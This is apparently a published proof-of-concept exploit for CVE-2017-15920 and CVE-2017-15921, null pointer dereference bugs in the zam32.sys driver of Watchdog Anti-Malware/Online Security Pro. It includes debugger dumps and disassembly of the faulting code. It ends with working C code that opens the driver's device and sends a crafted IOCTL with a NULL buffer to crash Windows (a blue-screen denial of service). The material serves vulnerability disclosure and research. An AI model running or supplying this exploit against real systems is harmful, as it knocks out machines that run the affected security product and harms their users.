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136 | /*
Exploit Title - Watchdog Development Anti-Malware/Online Security Pro Null Pointer Dereference
Date - 26th October 2017
Discovered by - Parvez Anwar (@parvezghh)
Vendor Homepage - https://www.watchdogdevelopment.com/
Tested Version - 2.74.186.150
Driver Version - 2.21.63 - zam32.sys
Tested on OS - 32bit Windows 7 SP1
CVE IDs - CVE-2017-15920 and CVE-2017-15921
Vendor fix url - Will be fixed in a future release
Fixed Version - n/a
Fixed driver ver - n/a
A null pointer dereference vulnerability is triggered when sending an operation
to ioctls 0x80002010 or 0x80002054. This is due to input buffer being NULL or
the input buffer size being 0 as they are not validated.
kd> dt nt!_irp @esi -r
+0x000 Type : 0n6
+0x002 Size : 0x94
+0x004 MdlAddress : (null)
+0x008 Flags : 0x60000
+0x00c AssociatedIrp : <unnamed-tag>
+0x000 MasterIrp : (null)
+0x000 IrpCount : 0n0
+0x000 SystemBuffer : (null) <----------- null pointer
0x80002010
----------
CVE-2017-15921
kd> r
eax=00000000 ebx=80002010 ecx=cff82bd9 edx=90889f2e esi=00000000 edi=c0000001
eip=9087cd9f esp=a7a80ab8 ebp=a7a80ab8 iopl=0 nv up ei pl nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000202
zam32+0xdd9f:
9087cd9f ff30 push dword ptr [eax] ds:0023:00000000=????????
.text:90AD9104 push offset aIoctl_register ; "IOCTL_REGISTER_PROCESS"
.text:90AD9109 push 0
.text:90AD910B push edx ; Pointer to "DeviceIoControlHandler" string
.text:90AD910C push 208h
.text:90AD9111 push offset aMain_c
.text:90AD9116 push 1
.text:90AD9118 call sub_90AD3ADA
.text:90AD911D add esp, 18h
.text:90AD9120 push esi ; esi is null becomes arg_0 otherwise would point to our input "SystemBuffer"
.text:90AD9121 call sub_90AD8D90
.text:90AD8D90 sub_90AD8D90 proc near
.text:90AD8D90
.text:90AD8D90 arg_0 = dword ptr 8
.text:90AD8D90
.text:90AD8D90 push ebp
.text:90AD8D91 mov ebp, esp
.text:90AD8D93 call sub_90AD414A
.text:90AD8D98 test eax, eax
.text:90AD8D9A jz short loc_90AD8DA6
.text:90AD8D9C mov eax, [ebp+arg_0] ; Null pointer dereference
.text:90AD8D9F push dword ptr [eax] ; BSOD !!!!
.text:90AD8DA1 call sub_90AD428C
.text:90AD8DA6
.text:90AD8DA6 loc_90AD8DA6:
.text:90AD8DA6 pop ebp
.text:90AD8DA7 retn 4
.text:90AD8DA7 sub_90AD8D90 endp
.text:90AD8DA7
.text:90AD8DAA
0x80002054
----------
CVE-2017-15920
kd> r
eax=861e8320 ebx=80002054 ecx=cff82bd9 edx=90889f2e esi=00000000 edi=c0000001
eip=9087d41a esp=99f4eaac ebp=99f4eadc iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
zam32+0xe41a:
9087d41a c7061e010000 mov dword ptr [esi],11Eh ds:0023:00000000=????????
.text:90AD9401 push offset aIoctl_get_driv ; IOCTL_GET_DRIVER_PROTOCOL
.text:90AD9406 push 0
.text:90AD9408 push edx
.text:90AD9409 push 2A3h
.text:90AD940E push offset aMain_c
.text:90AD9413 push 1
.text:90AD9415 call sub_90AD3ADA
.text:90AD941A mov dword ptr [esi], 11Eh ; BSOD !!!! Null pointer dereference otherwise would point to our input "SystemBuffer"
.text:90AD9420 jmp loc_90AD9622
*/
#include <stdio.h>
#include <windows.h>
int main(int argc, char *argv[])
{
HANDLE hDevice;
char devhandle[MAX_PATH];
DWORD dwRetBytes = 0;
sprintf(devhandle, "\\\\.\\%s", "zemanaantimalware");
hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
if(hDevice == INVALID_HANDLE_VALUE)
{
printf("\n[-] Open %s device failed\n\n", devhandle);
return -1;
}
else
{
printf("\n[+] Open %s device successful", devhandle);
}
printf("\n[~] Press any key to continue . . .");
getch();
DeviceIoControl(hDevice, 0x80002010, NULL, 0, NULL, 0, &dwRetBytes, NULL);
// DeviceIoControl(hDevice, 0x80002054, NULL, 0, NULL, 0, &dwRetBytes, NULL);
printf("\n[+] DoSed\n\n");
CloseHandle(hDevice);
return 0;
}
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